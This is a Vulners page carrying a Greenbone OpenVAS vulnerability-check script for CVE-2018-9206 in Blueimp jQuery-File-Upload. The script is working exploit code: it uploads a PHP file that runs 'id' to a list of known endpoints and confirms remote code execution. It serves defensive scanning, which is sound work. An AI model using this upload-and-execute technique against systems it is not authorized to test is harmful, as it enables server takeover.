Blueimp jQuery-File-Upload < 9.24.1 File Upload Vulnerability - Active Check
🗓️ 02 Nov 2018 00:00:00Reported by Copyright (C) 2018 Greenbone AGType
openvas🔗 plugins.openvas.org👁 341 Views
| Reporter | Title | Published | Views | Family All 49 |
|---|---|---|---|---|
| blueimp jQuery Arbitrary File Upload Exploit | 5 Nov 201800:00 | – | zdt | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Jquery_File_Upload_Project Jquery_File_Upload | 27 Dec 202502:31 | – | githubexploit | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Jquery_File_Upload_Project Jquery_File_Upload | 22 Oct 201816:33 | – | githubexploit | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Jquery_File_Upload_Project Jquery_File_Upload | 24 Oct 201820:24 | – | githubexploit | |
| CVE-2018-9206 | 11 Oct 201800:00 | – | circl | |
| Blueimp jQuery-File-Upload Arbitrary File Upload Vulnerability | 15 Oct 201800:00 | – | cnvd | |
| Blueimp jQuery File Upload Remote Code Execution (CVE-2018-9206) | 1 Nov 201800:00 | – | checkpoint_advisories | |
| CVE-2018-9206 | 11 Oct 201815:00 | – | cve | |
| CVE-2018-9206 | 11 Oct 201815:00 | – | cvelist | |
| CVE-2018-9206 | 11 Oct 201815:00 | – | debiancve |
10
# SPDX-FileCopyrightText: 2018 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.141641");
script_version("2024-03-08T15:37:10+0000");
script_tag(name:"last_modification", value:"2024-03-08 15:37:10 +0000 (Fri, 08 Mar 2024)");
script_tag(name:"creation_date", value:"2018-11-02 10:28:49 +0700 (Fri, 02 Nov 2018)");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2019-09-11 19:28:00 +0000 (Wed, 11 Sep 2019)");
script_cve_id("CVE-2018-9206");
script_tag(name:"qod_type", value:"exploit");
script_tag(name:"solution_type", value:"VendorFix");
script_name("Blueimp jQuery-File-Upload < 9.24.1 File Upload Vulnerability - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2018 Greenbone AG");
script_family("Web application abuses");
script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80, 443);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name:"summary", value:"Blueimp jQuery-File-Upload is prone to a unauthenticated file upload
vulnerability.");
script_tag(name:"affected", value:"Blueimp jQuery-File-Upload prior to version 9.24.1.");
script_tag(name:"solution", value:"Update to version 9.24.1 or later.");
script_tag(name:"vuldetect", value:"Tries to upload a PHP file and execute the 'id' command.");
script_xref(name:"URL", value:"http://www.vapidlabs.com/advisory.php?v=204");
script_xref(name:"URL", value:"https://github.com/blueimp/jQuery-File-Upload/blob/master/VULNERABILITIES.md#remote-code-execution-vulnerability-in-the-php-component");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("misc_func.inc");
port = http_get_port(default: 80);
if (!http_can_host_php(port: port))
exit(0);
vt_strings = get_vt_strings();
bound = '------------------------' + vt_strings["default"];
file = vt_strings["default_rand"] + ".php";
post_data = '--' + bound + '\r\n' +
'Content-Disposition: form-data; name="files[]"; filename="' + file + '"\r\n' +
'Content-Type: application/octet-stream\r\n\r\n' +
'<?php system(id); unlink(__FILE__); ?>\r\n\r\n' +
'--' + bound + '--\r\n';
paths = make_array("/server/php/upload.class.php", "/server/php/index.php",
"/example/upload.php", "/example/upload.php",
"/server/php/UploadHandler.php", "/server/php/index.php",
"/php/index.php", "/php/index.php",
"/jQuery-File-Upload/server/php/upload.class.php", "/jQuery-File-Upload/server/php/index.php",
"/jQuery-File-Upload/example/upload.php", "/jQuery-File-Upload/example/upload.php",
"/jQuery-File-Upload/server/php/UploadHandler.php", "/jQuery-File-Upload/server/php/index.php",
"/jQuery-File-Upload/php/index.php", "/jQuery-File-Upload/php/index.php");
headers = make_array("Content-Type", "multipart/form-data; boundary=" + bound);
foreach dir (make_list_unique("/", http_cgi_dirs(port: port))) {
if (dir == "/")
dir = "";
foreach path (keys(paths)) {
url = dir + path;
req = http_get(port: port, item: url);
res = http_keepalive_send_recv(port: port, data: req);
if (res =~ "^HTTP/1\.[01] 200") {
found_url = url;
url = dir + paths[path];
req = http_post_put_req(port: port, url: url, data: post_data, add_headers: headers);
res = http_keepalive_send_recv(port: port, data: req);
url = eregmatch(pattern: '"url":"([^"]+)"', string: res);
if (!isnull(url[1])) {
url = str_replace(string: url[1], find: "\", replace: "");
req = http_get(port: port, item: url);
res = http_keepalive_send_recv(port: port, data: req);
if (res =~ 'uid=[0-9]+.*gid=[0-9]+') {
report = 'It was possible to upload a PHP file and execute the "id" command.\n' +
'Found vulnerable URL at ' + http_report_vuln_url(port: port, url: found_url, url_only: TRUE) +
'\n\nResult:\n' + egrep(pattern: 'uid=[0-9]+.*gid=[0-9]+.*', string: res);
security_message(port: port, data: report);
exit(0);
}
}
}
}
}
exit(99);
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Mar 2024 00:00Current
9.5High risk
Vulners AI Score9.5
CVSS 27.5
CVSS 3.19.8
EPSS0.97255